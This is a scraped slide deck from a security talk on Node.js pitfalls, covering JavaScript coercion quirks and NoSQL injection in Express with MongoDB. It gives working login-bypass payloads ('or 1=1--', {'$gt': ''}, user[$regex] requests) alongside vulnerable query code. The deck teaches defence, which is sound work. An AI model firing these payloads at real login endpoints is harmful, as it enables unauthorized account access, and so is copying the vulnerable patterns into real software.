Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Security Challenges in Node.js

2,936 views

Published on

The following illustrates some of the common security challanges Node.js developers are up against. The presentation covers various types of JavaScript-related hacks and NoSQL injection hacking via Express and MongoDB.

Published in: Software
  • Be the first to comment

Security Challenges in Node.js

  1. 1. @pdp Petko D. Petkov Websecurify GNUCITIZEN
  2. 2. Security Challenges in Node.js
  3. 3. Our Assumptions • Node.js is a safe programming language • NoSQL is a safe alternative to SQL • Node.js + NoSQL = win
  4. 4. –Isaac Asimov “Your assumptions are your windows on the world. Scrub them off every once in a while, or the light won't come in.”
  5. 5. WTFJS!!! wtfjs.com
  6. 6. parseInt('duck'); // NaN parseInt('duck', 16); // 13
  7. 7. (2 + "3"); // 23 (2 + + "3"); // 5 (+""); // 0 (2 * "3"); // 6
  8. 8. 0 === -0 //true 1/0 === 1/0 //true 1/0 === 1/-0 //false
  9. 9. var foo = [0]; console.log(foo == !foo); // true console.log(foo == foo); // true
  10. 10. 9999999999999999 //=> 10000000000000000
  11. 11. var hex = 0xFF55 << 8; // Shifting by 8 bits adds 0x00 at the end alert(hex.toString(16)); // 0xFF5500 // Before 0x800000 it's ok alert((0x777777 << 8).toString(16)); // 0x77777700 // After 0x800000 it's not ok alert((0x888888 << 8).toString(16)); // -0x77777800, WTF?
  12. 12. Node (0.10.35) Chrome (40.0) Firefox (34.0) [] + [] "" "" "" [] + {} "[object Object]" "[object Object]" "[object Object]" {} + [] "[object Object]" 0 0 {} + {} "[object Object][object Object]" NaN NaN
  13. 13. 1 / [] // Infinity 1 / {} // NaN
  14. 14. 1 / [1] // 1 1 / [[1]] // 1 1 / [[[1]]] // 1
  15. 15. 1 ^ [] // 1 1 ^ {} // 1
  16. 16. "5" * 5 - "1" // 24 "5" * 5 - [] // 25
  17. 17. JSON JavaScript Object Notation
  18. 18. var obj = JSON.parse(input); var price = Math.round( obj.quantity * 5 );
  19. 19. { "code": "USD", "quantity": 1, "item": "tie" }
  20. 20. var obj = JSON.parse(input); var price = Math.round( 1 * 5 ); // => price = 5
  21. 21. { "code": "USD", "quantity": {}, "item": "tie" }
  22. 22. var obj = JSON.parse(input); var price = Math.round( {} * 5; ); // => price = NaN
  23. 23. { "code": "USD", "quantity": [], "item": "tie" }
  24. 24. var obj = JSON.parse(input); var price = Math.round( [] * 5; ); // => price = 0
  25. 25. var quantity = obj.quantity || 1; // --- var price; switch (obj.item || 'tie') { case 'tie': price = 5.76; break; case 'socks': price = 1.56; break; // --- default: price = 1.56; // --- break; } // --- var total = cur * quantity * price; // --- res.writeHead(200, 'OK', {'Content-Type': 'application/json'}); res.end(JSON.stringify({total: Math.abs(total).toFixed(2)})); var obj; try { obj = JSON.parse( chunks.join('')); } catch (e) { res.writeHead(500); res.end(); // --- return; } // --- var cur; switch (obj.code || 'USD') { case 'USD': cur = 0.9; break; case 'GBP': cur = 0.5; break; // --- default: cur = 0.9; // --- break; } // ---
  26. 26. var quantity = obj.quantity || 1; // --- var price; switch (obj.item || 'tie') { case 'tie': price = 5.76; break; case 'socks': price = 1.56; break; // --- default: price = 1.56; // --- break; } // --- var total = cur * quantity * price; // --- res.writeHead(200, 'OK', {'Content-Type': 'application/json'}); res.end(JSON.stringify({total: Math.abs(total).toFixed(2)})); var obj; try { obj = JSON.parse( chunks.join('')); } catch (e) { res.writeHead(500); res.end(); // --- return; } // --- var cur; switch (obj.code || 'USD') { case 'USD': cur = 0.9; break; case 'GBP': cur = 0.5; break; // --- default: cur = 0.9; // --- break; } // ---
  27. 27. SQLI SQL Injection
  28. 28. SELECT * FROM users WHERE username = '$user' AND password = '$pass' SELECT * FROM usersWHERE username = '' or 1=1--' AND password = ''
  29. 29. mysql_query("SELECT * FROM users WHERE username = '$user' AND password = '$pass'");
  30. 30. db.users.find({ username: username, password: password });
  31. 31. app.post('/', function (req, res) { var query = { username: req.body.username, password: req.body.password }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });
  32. 32. app.post('/', function (req, res) { var query = { username: req.body.username, password: req.body.password }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });
  33. 33. Comparison Logical Element Evaluation Array Projection $gt $and $exists $mod $all $ $gte $nor $type $regex $elementMatch $elementMatch $in $not $text $size $meta $lt $or $where $slice $lte $ne $nin
  34. 34. POST http://target/ HTTP/1.1 Content-Type: application/json { "username": {"$gt": ""}, "password": {"$gt": ""} }
  35. 35. app.post('/', function (req, res) { var query = { username: {"$gt": ""}, password: {"$gt": ""} }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });
  36. 36. app.post('/', function (req, res) { var query = { username: req.param('username'), password: req.param('password') }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });
  37. 37. app.post('/', function (req, res) { var query = { username: req.param('username'), password: req.param('password') }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });
  38. 38. POST http://target/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded username[$gt]=&password[$gt]=
  39. 39. app.post('/', function (req, res) { var query = { username: {"$gt": ""}, password: {"$gt": ""} }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });
  40. 40. a[0]=1 → a = [1] a[0]=1&a[1]=2 → a = [1,2] a[b]=1 → a = {b:1} a[b]=1&a[c]=2 → a ={a:1, c:2}
  41. 41. app.post('/', function(req, res) { User.findOne({user: req.body.user}, function (err, user) { if (err) { return res.render('index', {message: err.message}); } // --- if (!user) { return res.render('index', {message: 'Sorry!'}); } // --- if (user.hash != sha1(req.body.pass)) { return res.render('index', {message: 'Sorry!'}); } // --- return res.render('index', {message: 'Welcome back ' + user.name + '!!!'}); }); });
  42. 42. POST http://target/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded user[$regex]=ab.c&pass=abc123
  43. 43. { user: {$regex: "ab.c"}, pass: "abc123" }
  44. 44. app.post('/', function(req, res) { User.findOne({user: {$regex: "ab.c"}}, function (err, user) { if (err) { return res.render('index', {message: err.message}); } // --- if (!user) { return res.render('index', {message: 'Sorry!'}); } // --- if (user.hash != sha1("abc123")) { return res.render('index', {message: 'Sorry!'}); } // --- return res.render('index', {message: 'Welcome back ' + user.name + '!!!'}); }); });
  45. 45. POST http://target/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded user[$regex]=ab.c&pass=abc123 POST http://target/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded user[$regex]=ba.c&pass=abc123 POST http://target/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded user[$regex]=cd.e&pass=abc123 POST http://target/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded user[$regex]=dc.e&pass=abc123
  46. 46. Lessons Learned Always validate user- supplied input!

×